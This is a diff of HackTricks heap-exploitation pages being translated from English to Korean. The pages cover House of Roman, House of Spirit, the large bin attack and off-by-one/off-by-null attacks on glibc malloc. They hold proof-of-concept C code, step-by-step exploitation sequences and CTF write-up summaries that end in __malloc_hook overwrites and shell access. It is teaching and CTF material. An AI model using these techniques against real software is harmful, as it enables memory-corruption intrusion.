(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
(나머지 바이트에 대한 자세한 정보는 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 예제](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)에서 설명을 확인하세요). BF가 작동하지 않으면 프로그램이 그냥 충돌하므로 (작동할 때까지 다시 시작하세요).
그런 다음, 2개의 malloc이 수행되어 2개의 초기 패스트 빈 청크가 제거되고, 세 번째 malloc이 할당되어 **`__malloc_hook:`**에서 청크를 가져옵니다.
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Part 2: Unsorted_bin 공격
### Part 2: Unsorted_bin attack
For more info you can check:
자세한 정보는 다음을 확인하세요:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
For this we start getting a chunk and putting it into the **unsorted bin**:
기본적으로 이는 `chunk->bk`에 지정된 위치에 `main_arena + 0x68`를 쓸 수 있게 해줍니다. 공격을 위해 `__malloc_hook`를 선택합니다. 그런 다음, 이를 덮어쓴 후 상대적 덮어쓰기를 사용하여 `one_gadget`을 가리키게 됩니다.
이를 위해 우리는 청크를 가져와 **unsorted bin**에 넣기 시작합니다:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@ -91,23 +86,22 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
이 청크에서 UAF를 사용하여 `unsorted_bin_ptr->bk``__malloc_hook`의 주소로 지정합니다(우리는 이전에 이를 무작위로 시도했습니다).
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
> 이 공격은 정렬되지 않은 빈을 손상시킵니다(따라서 작은 것과 큰 것도 손상됩니다). 따라서 이제 **빠른 빈에서 할당만 사용할 수 있습니다**(더 복잡한 프로그램은 다른 할당을 수행하고 충돌할 수 있습니다), 이를 트리거하기 위해서는 **같은 크기로 할당해야 하며, 그렇지 않으면 프로그램이 충돌합니다.**
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
따라서 `__malloc_hook``unsorted_bin_ptr->bk`를 설정한 후 `main_arena + 0x68`의 쓰기를 트리거하기 위해서는 **`malloc(0x80)`**를 호출해야 합니다.
### Step 3: Set \_\_malloc_hook to system
### 3단계: \_\_malloc_hook를 system으로 설정
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
1단계에서 우리는 `__malloc_hook`를 포함하는 청크를 제어하게 되었고(변수 `malloc_hook_chunk`에서) 2단계에서는 여기에서 `main_arena + 0x68`을 쓸 수 있었습니다.
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
이제 우리는 `malloc_hook_chunk`에서 부분 덮어쓰기를 악용하여 우리가 쓴 libc 주소(`main_arena + 0x68`)를 **`one_gadget` 주소를 가리키도록** 사용합니다.
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
여기서 **12비트의 무작위성을 무작위로 시도해야 합니다**(자세한 내용은 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 예제](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)에서 확인할 수 있습니다).
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
마지막으로, 올바른 주소가 덮어쓰여지면 **`malloc`을 호출하고 `one_gadget`을 트리거합니다.**
## References

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
### Code
### 코드
<details>
<summary>House of Spirit</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -19,97 +18,94 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
return 0;
}
```
</details>
### Goal
### 목표
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
- tcache / fast bin에 주소를 추가할 수 있어야 하며, 나중에 이를 할당할 수 있어야 합니다.
### Requirements
### 요구 사항
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
- 이 공격은 공격자가 크기 값을 올바르게 나타내는 몇 개의 가짜 fast 청크를 생성할 수 있어야 하며, 그런 다음 첫 번째 가짜 청크를 해제하여 bin에 들어가게 해야 합니다.
### Attack
### 공격
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
- 보안 검사를 우회하는 가짜 청크 생성: 기본적으로 올바른 위치에 올바른 크기를 나타내는 2개의 가짜 청크가 필요합니다.
- 첫 번째 가짜 청크를 해제하여 fast 또는 tcache bin에 들어가게 하고, 그런 다음 해당 주소를 덮어쓰도록 할당해야 합니다.
**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **의 코드는 공격을 이해하는 데 매우 유용합니다.** 이 코드의 스키마는 이를 잘 요약합니다:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
> [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
> 일부 유효성 검사를 우회하기 위해 두 번째 청크를 생성하는 것이 필요하다는 점에 유의하십시오.
## Examples
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
- **Libc infoleak**: 오버플로우를 통해 포인터를 GOT 주소를 가리키도록 변경하여 CTF의 읽기 작업을 통해 libc 주소를 유출할 수 있습니다.
- **House of Spirit**: "소총"의 수를 세는 카운터를 악용하여 첫 번째 가짜 청크의 가짜 크기를 생성한 다음, "메시지"를 악용하여 청크의 두 번째 크기를 가짜로 만들고 마지막으로 오버플로우를 악용하여 해제될 포인터를 변경하여 첫 번째 가짜 청크가 해제되도록 할 수 있습니다. 그런 다음, 이를 할당하면 "메시지"가 저장된 주소가 그 안에 있게 됩니다. 이후 이 주소를 GOT 테이블 내의 `scanf` 항목을 가리키도록 할 수 있어, 이를 system의 주소로 덮어쓸 수 있습니다.\
다음 번에 `scanf`가 호출되면 입력으로 `"/bin/sh"`를 보내어 쉘을 얻을 수 있습니다.
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer.
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
- **Glibc leak**: 초기화되지 않은 스택 버퍼.
- **House of Spirit**: 힙 포인터의 전역 배열의 첫 번째 인덱스를 수정할 수 있습니다. 단일 바이트 수정을 통해 유효한 청크 내의 가짜 청크에서 `free`를 사용하여 다시 할당한 후 오버랩된 청크 상황을 얻습니다. 이를 통해 간단한 Tcache 중독 공격이 작동하여 임의 쓰기 원시를 얻을 수 있습니다.
## References

View File

@ -4,55 +4,53 @@
## Basic Information
For more information about what is a large bin check this page:
대형 빈에 대한 자세한 정보는 이 페이지를 확인하세요:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
[**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)에서 훌륭한 예제를 찾을 수 있습니다.
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
기본적으로 여기에서 glibc의 최신 "현재" 버전(2.35)에서 **`P->bk_nextsize`**가 확인되지 않아 특정 조건이 충족되면 대형 빈 청크의 값으로 임의의 주소를 수정할 수 있는 방법을 볼 수 있습니다.
In that example you can find the following conditions:
그 예제에서 다음 조건을 찾을 수 있습니다:
- A large chunk is allocated
- A large chunk smaller than the first one but in the same index is allocated
- Must be smalled so in the bin it must go first
- (A chunk to prevent merging with the top chunk is created)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
- Then, the second large chunk is freed
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
- 대형 청크가 할당됨
- 첫 번째 청크보다 작지만 같은 인덱스에 있는 대형 청크가 할당됨
- 빈에서 먼저 가야 하므로 더 작아야 함
- (상단 청크와 병합을 방지하기 위한 청크가 생성됨)
- 그런 다음 첫 번째 대형 청크가 해제되고 그보다 큰 새 청크가 할당됨 -> Chunk1이 대형 빈으로 이동
- 그런 다음 두 번째 대형 청크가 해제됨
- 이제 취약점: 공격자는 `chunk1->bk_nextsize``[target-0x20]`로 수정할 수 있음
- 그런 다음 청크 2보다 큰 청크가 할당되므로 청크 2가 대형 빈에 삽입되어 `chunk1->bk_nextsize->fd_nextsize`의 주소를 청크 2의 주소로 덮어씀
> [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
> 다른 잠재적인 시나리오가 있으며, 중요한 것은 대형 빈에 현재 빈의 X 청크보다 **작은** 청크를 추가하는 것입니다. 따라서 빈에서 X 바로 앞에 삽입되어야 하며, X의 **`bk_nextsize`**를 수정할 수 있어야 합니다. 그곳에 더 작은 청크의 주소가 기록될 것입니다.
이것은 malloc에서 관련된 코드입니다. 주소가 어떻게 덮어씌워졌는지 더 잘 이해할 수 있도록 주석이 추가되었습니다:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
이것은 **libc의 `global_max_fast` 전역 변수를 덮어쓰는 데 사용될 수 있으며**, 이후 더 큰 청크로 빠른 빈 공격을 악용할 수 있습니다.
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
이 공격에 대한 또 다른 훌륭한 설명은 [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)에서 찾을 수 있습니다.
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
### Other examples
### 다른 예시
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- The write primitive is more complex, because `global_max_fast` is useless here.
- FSOP is needed to finish the exploit.
- [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)에서 나타나는 것과 같은 상황에서의 대형 빈 공격.
- 쓰기 원시 작업은 더 복잡합니다. 왜냐하면 `global_max_fast`는 여기서 쓸모가 없기 때문입니다.
- 익스플로잇을 완료하려면 FSOP가 필요합니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,112 +4,110 @@
## Basic Information
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
1B 오버플로우에 접근하면 공격자는 다음 청크의 `size` 필드를 수정할 수 있습니다. 이는 실제로 해제된 청크를 조작할 수 있게 하여, 다른 유효한 청크를 포함하는 청크를 생성할 수 있습니다. 이 공격은 [double free](double-free.md) 또는 겹치는 청크와 유사합니다.
There are 2 types of off by one vulnerabilities:
오프 바이 원 취약점에는 두 가지 유형이 있습니다:
- Arbitrary byte: This kind allows to overwrite that byte with any value
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
- 임의 바이트: 이 유형은 해당 바이트를 임의의 값으로 덮어쓸 수 있습니다.
- 널 바이트 (off-by-null): 이 유형은 해당 바이트를 0x00으로만 덮어쓸 수 있습니다.
- 이 취약점의 일반적인 예는 다음 코드에서 볼 수 있으며, `strlen``strcpy`의 동작이 일관되지 않아 다음 청크의 시작 부분에 0x00 바이트를 설정할 수 있습니다.
- 이는 [House of Einherjar](house-of-einherjar.md)로 악용될 수 있습니다.
- Tcache를 사용하는 경우, 이는 [double free](double-free.md) 상황으로 활용될 수 있습니다.
<details>
<summary>Off-by-null</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
```
</details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
다른 검사들 중에서, 이제 청크가 해제될 때마다 이전 크기가 메타데이터의 청크에 설정된 크기와 비교되므로 이 공격은 2.28 버전부터 상당히 복잡해졌습니다.
### Code example:
### 코드 예제:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches.
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
- 이 공격은 Tcaches의 사용으로 인해 더 이상 작동하지 않습니다.
- 게다가, 더 큰 청크를 사용하여 이를 남용하려고 하면 (따라서 tcaches가 관련되지 않음) 다음과 같은 오류가 발생합니다: `malloc(): invalid next size (unsorted)`
### Goal
### 목표
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
- 하나의 청크가 다른 청크 안에 포함되도록 하여 두 번째 청크에 대한 쓰기 접근이 포함된 청크를 덮어쓸 수 있도록 합니다.
### Requirements
### 요구 사항
- Off by one overflow to modify the size metadata information
- 크기 메타데이터 정보를 수정하기 위한 off by one overflow
### General off-by-one attack
### 일반적인 off-by-one 공격
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
- Free `C` (inserted into 0x20 Tcache free-list).
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
- Now we have `B` containing the free chunk `C`
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
- 세 개의 청크 `A`, `B``C` (크기 0x20이라고 가정)를 할당하고, 상단 청크와의 통합을 방지하기 위해 또 다른 하나를 할당합니다.
- `C`를 해제합니다 (0x20 Tcache free-list에 삽입됨).
- 청크 `A`를 사용하여 `B`를 오버플로우합니다. off-by-one을 남용하여 `B``size` 필드를 0x21에서 0x41로 수정합니다.
- 이제 `B`가 해제된 청크 `C`를 포함하고 있습니다.
- `B`를 해제하고 0x40 청크를 할당합니다 (여기 다시 배치됩니다).
- 여전히 해제된 `C``fd` 포인터를 수정할 수 있습니다 (Tcache 중독).
### Off-by-null attack
### Off-by-null 공격
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that its 0x10 smaller than it really is).
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
- 메모리의 3개 청크 (a, b, c)가 차례로 예약됩니다. 그런 다음 중간 청크가 해제됩니다. 첫 번째 청크는 off by one overflow 취약점을 포함하고 있으며 공격자는 0x00을 사용하여 이를 남용합니다 (이전 바이트가 0x10이면 중간 청크가 실제보다 0x10 작다고 표시하게 됩니다).
- 그런 다음, 중간에 해제된 청크 (b)에 두 개의 더 작은 청크가 할당되지만, `b + b->size`는 포인터 주소가 있어야 할 것보다 작기 때문에 청크 c를 업데이트하지 않습니다.
- 그런 다음, b1과 c가 해제됩니다. `c - c->prev_size`가 여전히 b (현재 b1)를 가리키므로 두 개가 하나의 청크로 통합됩니다. 그러나 b2는 여전히 b1과 c 사이에 있습니다.
- 마지막으로, 이 메모리 영역을 재사용하는 새로운 malloc이 수행되며, 실제로 b2를 포함하게 되어 새로운 malloc의 소유자가 b2의 내용을 제어할 수 있게 됩니다.
This image explains perfectly the attack:
이 이미지는 공격을 완벽하게 설명합니다:
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References
## 기타 예제 및 참조
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field.
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
- `strlen`이 다음 청크의 `size` 필드를 고려하기 때문에 off-by-one입니다.
- Tcache가 사용되고 있으므로 일반적인 off-by-one 공격이 Tcache 중독을 통해 임의 쓰기 원시를 얻는 데 작동합니다.
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
- off by one을 남용하여 힙에서 주소를 유출할 수 있습니다. 왜냐하면 문자열의 끝에 있는 바이트 0x00이 다음 필드에 의해 덮어쓰여지기 때문입니다.
- 임의 쓰기는 off by one 쓰기를 남용하여 포인터가 가짜 구조체와 가짜 포인터가 구축될 다른 위치를 가리키도록 하여 얻습니다. 그런 다음 이 구조체의 포인터를 따라가 임의 쓰기를 얻을 수 있습니다.
- libc 주소가 유출되는 이유는 힙이 mmap을 사용하여 확장될 때 mmap에 의해 할당된 메모리가 libc로부터 고정 오프셋을 가지기 때문입니다.
- 마지막으로, 임의 쓰기를 남용하여 `__free_hook`의 주소에 one gadget을 씁니다.
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- In the writeup 5 initial chunks are created:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk
- Then chunk 1, 5 and 3 are freed, so:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then, `0x200` bytes are allocated filling the original chunk 1
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
- 사용자 입력 줄을 읽는 `getline` 함수에 NULL off by one 취약점이 있습니다. 이 함수는 콘텐츠의 "키"를 읽는 데 사용되며 콘텐츠는 읽지 않습니다.
- 작성물에서 5개의 초기 청크가 생성됩니다:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- 상단 청크와의 통합을 피하기 위한 청크 방어 (0x400)
- 그런 다음 청크 1, 5 및 3이 해제되므로:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- 그런 다음 청크3 (0x1f8)을 남용하여 null off-by-one을 남용하여 `prev_size``0x4e0`으로 씁니다.
- 초기 할당된 청크1, 2, 5 및 3의 크기와 그 청크의 헤더 4개가 `0x4e0`과 같다는 점에 유의하십시오: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- 그런 다음 청크 4가 해제되어 시작까지 모든 청크를 소비하는 청크가 생성됩니다:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- 그런 다음 `0x200` 바이트가 할당되어 원래 청크 1을 채웁니다.
- 그리고 또 다른 0x200 바이트가 할당되어 청크2가 파괴되므로 더 이상 유출이 없고 이 작업이 작동하지 않습니까? 아마도 이 작업은 수행되지 않아야 합니다.
- 그런 다음 0x58 "a"로 또 다른 청크를 할당하여 (청크2를 덮어쓰고 청크5에 도달) 청크5의 빠른 빈 청크의 `fd``__malloc_hook`를 가리키도록 수정합니다.
- 그런 다음 0x68의 청크가 할당되어 `__malloc_hook`의 가짜 빠른 빈 청크가 다음 빠른 빈 청크가 됩니다.
- 마지막으로, 0x68의 새로운 빠른 빈 청크가 할당되고 `__malloc_hook``one_gadget` 주소로 덮어씌워집니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk
# 해제된 청크 덮어쓰기
{{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
제안된 여러 힙 익스플로잇 기술은 해제된 청크 내부의 포인터를 덮어쓸 수 있어야 합니다. 이 페이지의 목표는 이러한 접근을 허용할 수 있는 잠재적 취약점을 요약하는 것입니다:
